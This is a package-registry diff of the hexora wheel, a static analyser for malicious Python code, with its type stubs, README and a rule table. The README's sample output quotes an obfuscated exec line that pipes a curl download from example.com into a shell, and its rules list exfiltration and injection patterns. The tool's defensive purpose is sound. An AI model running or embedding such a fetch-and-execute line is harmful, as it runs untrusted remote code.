hexora 0.3.2__cp315-cp315-win_amd64.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- hexora/__init__.py +4 -0
- hexora/__init__.pyi +81 -0
- hexora/_hexora.cp315-win_amd64.pyd +0 -0
- hexora/py.typed +0 -0
- hexora-0.3.2.dist-info/METADATA +209 -0
- hexora-0.3.2.dist-info/RECORD +10 -0
- hexora-0.3.2.dist-info/WHEEL +5 -0
- hexora-0.3.2.dist-info/entry_points.txt +2 -0
- hexora-0.3.2.dist-info/licenses/LICENSE +21 -0
- hexora-0.3.2.dist-info/top_level.txt +1 -0
hexora/__init__.py
ADDED
hexora/__init__.pyi
ADDED
|
@@ -0,0 +1,81 @@
|
|
|
1
|
+
from typing import List, Optional, Tuple, TypedDict, Literal, Union
|
|
2
|
+
import os
|
|
3
|
+
|
|
4
|
+
class AuditItem(TypedDict):
|
|
5
|
+
label: str
|
|
6
|
+
rule: str
|
|
7
|
+
description: str
|
|
8
|
+
confidence: Literal["very_low", "low", "medium", "high", "very_high"]
|
|
9
|
+
location: Optional[Tuple[int, int]]
|
|
10
|
+
annotation: Optional[str]
|
|
11
|
+
|
|
12
|
+
class AuditResult(TypedDict):
|
|
13
|
+
items: List[AuditItem]
|
|
14
|
+
path: str
|
|
15
|
+
archive_path: Optional[str]
|
|
16
|
+
|
|
17
|
+
def audit_path(input_path: Union[str, os.PathLike[str]]) -> List[AuditResult]:
|
|
18
|
+
"""
|
|
19
|
+
Runs audit in the specified folder.
|
|
20
|
+
|
|
21
|
+
Example:
|
|
22
|
+
>>> import hexora
|
|
23
|
+
>>> results = hexora.audit_path("hexora/resources/test/")
|
|
24
|
+
>>> results[0]
|
|
25
|
+
{
|
|
26
|
+
"items": [
|
|
27
|
+
{
|
|
28
|
+
"label": "pyperclip",
|
|
29
|
+
"rule": "HX5010",
|
|
30
|
+
"description": "pyperclip can be used to copy and paste data from the clipboard.",
|
|
31
|
+
"confidence": "low",
|
|
32
|
+
"location": (7, 16),
|
|
33
|
+
"annotation": None,
|
|
34
|
+
}
|
|
35
|
+
],
|
|
36
|
+
"path": "hexora/resources/test/clipboard_01.py",
|
|
37
|
+
"archive_path": None,
|
|
38
|
+
}
|
|
39
|
+
"""
|
|
40
|
+
...
|
|
41
|
+
|
|
42
|
+
def audit_file(
|
|
43
|
+
input_path: Union[str, os.PathLike[str]],
|
|
44
|
+
) -> List[AuditResult]:
|
|
45
|
+
"""
|
|
46
|
+
Runs audit for the specified path.
|
|
47
|
+
|
|
48
|
+
Returns ``List[AuditResult]`` for both regular files and archives
|
|
49
|
+
(``.zip`` or ``.tar.gz``).
|
|
50
|
+
|
|
51
|
+
Example (regular file):
|
|
52
|
+
>>> import hexora
|
|
53
|
+
>>> result = hexora.audit_file("resources/test/exec_02.py")
|
|
54
|
+
>>> result[0]
|
|
55
|
+
{
|
|
56
|
+
'items': [
|
|
57
|
+
{
|
|
58
|
+
'label': 'eval',
|
|
59
|
+
'rule': 'HX3000',
|
|
60
|
+
'description': 'Possible execution of unwanted code.',
|
|
61
|
+
'confidence': 'medium',
|
|
62
|
+
'location': (17, 36),
|
|
63
|
+
'annotation': 'warning[HX3000]: Possible execution of unwanted code...Confidence: Medium'
|
|
64
|
+
},
|
|
65
|
+
{
|
|
66
|
+
'label': 'builtins.exec',
|
|
67
|
+
'rule': 'HX3000',
|
|
68
|
+
'description': 'Possible execution of unwanted code.',
|
|
69
|
+
'confidence': 'very_high',
|
|
70
|
+
'location': (37, 65),
|
|
71
|
+
'annotation': 'warning[HX3000]: Possible execution of unwanted code...Confidence: VeryHigh'
|
|
72
|
+
},
|
|
73
|
+
...
|
|
74
|
+
],
|
|
75
|
+
'path': 'resources/test/exec_02.py',
|
|
76
|
+
'archive_path': None
|
|
77
|
+
}
|
|
78
|
+
"""
|
|
79
|
+
...
|
|
80
|
+
|
|
81
|
+
def run_cli() -> None: ...
|
|
Binary file
|
hexora/py.typed
ADDED
|
File without changes
|
|
@@ -0,0 +1,209 @@
|
|
|
1
|
+
Metadata-Version: 2.4
|
|
2
|
+
Name: hexora
|
|
3
|
+
Version: 0.3.2
|
|
4
|
+
Summary: Static analysis of malicous Python scripts.
|
|
5
|
+
Author-email: Artem Golubin <me@rushter.com>
|
|
6
|
+
License-Expression: MIT
|
|
7
|
+
Project-URL: Homepage, https://github.com/rushter/hexora
|
|
8
|
+
Project-URL: Repository, https://github.com/rushter/hexora
|
|
9
|
+
Project-URL: Documentation, https://github.com/rushter/hexora/blob/main/README.md
|
|
10
|
+
Requires-Python: >=3.9
|
|
11
|
+
Description-Content-Type: text/markdown
|
|
12
|
+
License-File: LICENSE
|
|
13
|
+
Dynamic: license-file
|
|
14
|
+
|
|
15
|
+
# hexora
|
|
16
|
+
|
|
17
|
+
[](https://pypi.org/project/hexora)
|
|
18
|
+
|
|
19
|
+
|
|
20
|
+
Hexora is a static analysis tool designed to detect malicious and harmful patterns in Python code.
|
|
21
|
+
It combines a rule-based static analysis engine with a machine-learned model that scores entire source files to classify them as malicious or benign.
|
|
22
|
+
|
|
23
|
+
It can be used to:
|
|
24
|
+
|
|
25
|
+
- Audit project dependencies to catch potential supply-chain attacks
|
|
26
|
+
- Detect malicious scripts found on platforms like Pastebin, GitHub, or open directories
|
|
27
|
+
- Analyze IoC files from past security incidents
|
|
28
|
+
- Audit new packages uploaded to PyPi.
|
|
29
|
+
|
|
30
|
+
|
|
31
|
+
<img width="600" alt="Hexora example" src="docs/example.gif">
|
|
32
|
+
|
|
33
|
+
It's able to detect 2-10 new malicious packages on PyPI each day:
|
|
34
|
+
<img alt="PyPI security" src="./assets/pypi_security.png" >
|
|
35
|
+
|
|
36
|
+
# Examples
|
|
37
|
+
|
|
38
|
+
For output examples, please see [docs/examples.md](docs/examples.md) file.
|
|
39
|
+
|
|
40
|
+
# Installation
|
|
41
|
+
|
|
42
|
+
## Using Python
|
|
43
|
+
|
|
44
|
+
Requires Python 3.9+.
|
|
45
|
+
|
|
46
|
+
```bash
|
|
47
|
+
pip install hexora
|
|
48
|
+
```
|
|
49
|
+
|
|
50
|
+
Using uv:
|
|
51
|
+
```bash
|
|
52
|
+
uv tool install hexora
|
|
53
|
+
```
|
|
54
|
+
|
|
55
|
+
# Usage
|
|
56
|
+
|
|
57
|
+
|
|
58
|
+
```bash
|
|
59
|
+
hexora --help
|
|
60
|
+
```
|
|
61
|
+
|
|
62
|
+
## Audit single file
|
|
63
|
+
|
|
64
|
+
```bash
|
|
65
|
+
> hexora audit test.py
|
|
66
|
+
|
|
67
|
+
warning[HX2000]: Reading from the clipboard can be used to exfiltrate sensitive data.
|
|
68
|
+
┌─ resources/test/test.py:3:8
|
|
69
|
+
│
|
|
70
|
+
1 │ import pyperclip
|
|
71
|
+
2 │
|
|
72
|
+
3 │ data = pyperclip.paste()
|
|
73
|
+
│ ^^^^^^^^^^^^^^^^^ HX2000
|
|
74
|
+
│
|
|
75
|
+
= Confidence: High
|
|
76
|
+
Help: Clipboard access can be used to exfiltrate sensitive data such as passwords and keys.
|
|
77
|
+
Machine learning based score for file: 0.93
|
|
78
|
+
|
|
79
|
+
warning[HX3000]: Possible execution of unwanted code
|
|
80
|
+
┌─ resources/test/test.py:20:1
|
|
81
|
+
│
|
|
82
|
+
19 │ (_ceil, _random, Math,), Run, (Floor, _frame, _divide) = (exec, str, tuple), map, (ord, globals, eval)
|
|
83
|
+
20 │ _ceil("import subprocess;subprocess.call(['curl -fsSL https://example.com/b.sh | sh'])")
|
|
84
|
+
│ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ HX3000
|
|
85
|
+
│
|
|
86
|
+
```
|
|
87
|
+
|
|
88
|
+
|
|
89
|
+
## Audit directory
|
|
90
|
+
|
|
91
|
+
```bash
|
|
92
|
+
hexora audit --output-format terminal resources/test/
|
|
93
|
+
```
|
|
94
|
+
|
|
95
|
+
|
|
96
|
+
## Audit packages from virtual environment
|
|
97
|
+
|
|
98
|
+
```bash
|
|
99
|
+
hexora audit --exclude HX5020,HX5030,HX5040,HX5050,HX5060 --min-confidence high .venv/lib/python3.11/site-packages/
|
|
100
|
+
```
|
|
101
|
+
|
|
102
|
+
Where `python3.11` is the version of the Python in virtual environment.
|
|
103
|
+
|
|
104
|
+
Tips:
|
|
105
|
+
|
|
106
|
+
- Use `--exclude` to suppress certain rule codes (e.g., noisy imports) for a given run
|
|
107
|
+
- Use `--min-confidence` to focus on high-confidence findings only.
|
|
108
|
+
|
|
109
|
+
Confidence indicates how a certain piece of code is malicious.
|
|
110
|
+
Some libraries or code snippets are used for legit purposes, and it's hard to distinguish legit use-cases from
|
|
111
|
+
malicious ones.
|
|
112
|
+
That's why some matches have a low confidence level.
|
|
113
|
+
|
|
114
|
+
Some rules can have different confidence levels. Avoid filtering a lot of rules by codes unless you are
|
|
115
|
+
very confident. For example, code and shell execution can have medium, high, and very high confidence.
|
|
116
|
+
This depends on how the code was executed. If we detect an obfuscation attempt, we elevate confidence.
|
|
117
|
+
|
|
118
|
+
For example, this code will have a high confidence:
|
|
119
|
+
```
|
|
120
|
+
globals()["__builtins__"].eval("print(123)")
|
|
121
|
+
```
|
|
122
|
+
|
|
123
|
+
## Usage in Python
|
|
124
|
+
|
|
125
|
+
```python
|
|
126
|
+
>>> import hexora
|
|
127
|
+
>>> results = hexora.audit_path("/Projects/hexora/resources/test/")
|
|
128
|
+
>>> len(results)
|
|
129
|
+
15
|
|
130
|
+
>>> results[0]
|
|
131
|
+
{'items': [{'confidence': 'low',
|
|
132
|
+
'description': 'pyperclip can be used to copy and paste data from '
|
|
133
|
+
'the clipboard.',
|
|
134
|
+
'label': 'pyperclip',
|
|
135
|
+
'location': (7, 16),
|
|
136
|
+
'rule': 'HX5010'},
|
|
137
|
+
{'confidence': 'high',
|
|
138
|
+
'description': 'Reading from the clipboard can be used to '
|
|
139
|
+
'exfiltrate sensitive data.',
|
|
140
|
+
'label': 'pyperclip.paste',
|
|
141
|
+
'location': (25, 42),
|
|
142
|
+
'rule': 'HX2000'}],
|
|
143
|
+
'path': '/Projects/hexora/resources/test/clipboard_01.py'}
|
|
144
|
+
>>> # Single file audit
|
|
145
|
+
>>> result = hexora.audit_file("/Projects/hexora/resources/test/clipboard_01.py")
|
|
146
|
+
>>> ...
|
|
147
|
+
```
|
|
148
|
+
|
|
149
|
+
## Testing Against Malicious Dataset
|
|
150
|
+
|
|
151
|
+
When developing new rules, you can use existing malicious datasets such as [malicious-software-packages-dataset](https://github.com/DataDog/malicious-software-packages-dataset).
|
|
152
|
+
|
|
153
|
+
After cloning, point the benchmarking tool to the dataset directory:
|
|
154
|
+
|
|
155
|
+
```bash
|
|
156
|
+
cargo run --release benchmark malicious-software-packages-dataset/samples/pypi/ --print-missing --exclude-path data/excluded.txt --min-confidence high
|
|
157
|
+
```
|
|
158
|
+
|
|
159
|
+
## Available rules
|
|
160
|
+
|
|
161
|
+
New rules are added regularly.
|
|
162
|
+
|
|
163
|
+
Right now, the following rules are available:
|
|
164
|
+
| Code | Name | Description |
|
|
165
|
+
|---|---|---|
|
|
166
|
+
| HX1000 | AppEnumeration | Suspicious application enumeration. |
|
|
167
|
+
| HX1010 | BrowserEnumeration | Suspicious browser enumeration (apps, cookies, history, etc.). |
|
|
168
|
+
| HX1020 | PathEnumeration | Suspicious path enumeration. |
|
|
169
|
+
| HX1030 | OSFingerprint | Suspicious OS fingerprinting. |
|
|
170
|
+
| HX2000 | ClipboardRead | Reading from the clipboard. |
|
|
171
|
+
| HX2010 | EnvAccess | Access to a sensitive environment variable. |
|
|
172
|
+
| HX2020 | ScreenshotCapture | Capturing screenshots from the display. |
|
|
173
|
+
| HX3000 | CodeExec | Possible code execution. |
|
|
174
|
+
| HX3010 | ShellExec | Execution of a shell command. |
|
|
175
|
+
| HX3040 | DLLInjection | Possible DLL injection. |
|
|
176
|
+
| HX3050 | DangerousExec | Execution of potentially dangerous command inside a shell command. |
|
|
177
|
+
| HX3060 | SuspiciousCall | Suspicious function call. |
|
|
178
|
+
| HX4000 | ObfuscatedShellExec | Execution of possibly obfuscated shell command. |
|
|
179
|
+
| HX4010 | ObfuscatedCodeExec | Execution of possibly obfuscated code. |
|
|
180
|
+
| HX5000 | DunderImport | Suspicious use of `__import__`. |
|
|
181
|
+
| HX5010 | SuspiciousImport | Suspicious import. |
|
|
182
|
+
| HX5020 | CtypesImport | Suspicious ctypes import. |
|
|
183
|
+
| HX5030 | PickleImport | Suspicious pickle import. |
|
|
184
|
+
| HX5040 | StructImport | Suspicious struct import. |
|
|
185
|
+
| HX5050 | SocketImport | Suspicious socket import. |
|
|
186
|
+
| HX5060 | MarshalImport | Suspicious marshal import. |
|
|
187
|
+
| HX6000 | Base64String | Long Base64-encoded string detected; possible code obfuscation. |
|
|
188
|
+
| HX6010 | HexedLiterals | List of hex-encoded literals detected; possible payload. |
|
|
189
|
+
| HX6020 | HexedString | Long hex-encoded string detected; possible payload. |
|
|
190
|
+
| HX6030 | IntLiterals | Large list of integer literals detected; possible code obfuscation. |
|
|
191
|
+
| HX6040 | CVEInLiteral | Literal contains a CVE identifier. |
|
|
192
|
+
| HX6050 | SuspiciousLiteral | Suspicious literal detected; possible data enumeration. |
|
|
193
|
+
| HX6060 | PathTraversal | Suspicious path traversal. |
|
|
194
|
+
| HX6070 | BrowserExtension | Enumeration of sensitive browser extensions. |
|
|
195
|
+
| HX6080 | WebHook | Suspicious webhook detected. Possible data exfiltration. |
|
|
196
|
+
| HX6090 | TelegramToken | Telegram bot token detected in string literal. |
|
|
197
|
+
| HX7000 | SuspiciousFunctionName | Suspicious function name. |
|
|
198
|
+
| HX7010 | SuspiciousParameterName | Suspicious parameter name. |
|
|
199
|
+
| HX7020 | SuspiciousVariable | Suspicious variable name. |
|
|
200
|
+
| HX9000 | DataExfiltration | Potential data exfiltration. |
|
|
201
|
+
| HX8000 | BinaryDownload | Suspicious binary download. |
|
|
202
|
+
| HX8010 | BuiltinsVariable | Suspicious builtin variable usage. |
|
|
203
|
+
| HX8020 | SuspiciousComment | Suspicious comment. |
|
|
204
|
+
| HX8030 | SuspiciousWrite | Suspicious write to the filesystem. |
|
|
205
|
+
| HX8040 | InstallHook | Suspicious install hook setup. |
|
|
206
|
+
|
|
207
|
+
## Credits
|
|
208
|
+
|
|
209
|
+
For parsing, we use AST parser from [ruff](https://github.com/astral-sh/ruff/tree/main) library.
|
|
@@ -0,0 +1,10 @@
|
|
|
1
|
+
hexora/__init__.py,sha256=olot3miURuMd1fcAN9HpDY_0se9vZq7EqpexD7tosG8,139
|
|
2
|
+
hexora/__init__.pyi,sha256=ijsj-_YM8PQwkbgz8NB2i-yOYO0hEYE0P8NeWCCuHKQ,2618
|
|
3
|
+
hexora/_hexora.cp315-win_amd64.pyd,sha256=0nyf_7Et7iIlE1VIRqI9kuj90m9gGxnz9degZiPI5T4,6881792
|
|
4
|
+
hexora/py.typed,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0
|
|
5
|
+
hexora-0.3.2.dist-info/licenses/LICENSE,sha256=17f-W5X5NLpDfERPMwjFCVy_KolXSPQ9XduzdYvW2Jk,1091
|
|
6
|
+
hexora-0.3.2.dist-info/METADATA,sha256=dya1WMQrpOFWIaUqWI1J8QH3l9t0iQZrqpMCVD8jbgM,8057
|
|
7
|
+
hexora-0.3.2.dist-info/WHEEL,sha256=geuJoH1aW6kS7q0cKuoOBUdE-tpBsTvRf9l5rOGbxQs,101
|
|
8
|
+
hexora-0.3.2.dist-info/entry_points.txt,sha256=xClqIhOT_pvG4wUD1ymmOU3PhTDzPHfsTCR8Gf6PWMc,50
|
|
9
|
+
hexora-0.3.2.dist-info/top_level.txt,sha256=6-ayVuqSBm1syhOLZQZHOXVNwoR6_J05ddqz84RwLd0,7
|
|
10
|
+
hexora-0.3.2.dist-info/RECORD,,
|
|
@@ -0,0 +1,21 @@
|
|
|
1
|
+
MIT License
|
|
2
|
+
|
|
3
|
+
Copyright (c) 2025 Artem Golubin
|
|
4
|
+
|
|
5
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy
|
|
6
|
+
of this software and associated documentation files (the "Software"), to deal
|
|
7
|
+
in the Software without restriction, including without limitation the rights
|
|
8
|
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
|
9
|
+
copies of the Software, and to permit persons to whom the Software is
|
|
10
|
+
furnished to do so, subject to the following conditions:
|
|
11
|
+
|
|
12
|
+
The above copyright notice and this permission notice shall be included in all
|
|
13
|
+
copies or substantial portions of the Software.
|
|
14
|
+
|
|
15
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
|
16
|
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
|
17
|
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
|
18
|
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
|
19
|
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
|
20
|
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
|
21
|
+
SOFTWARE.
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
hexora
|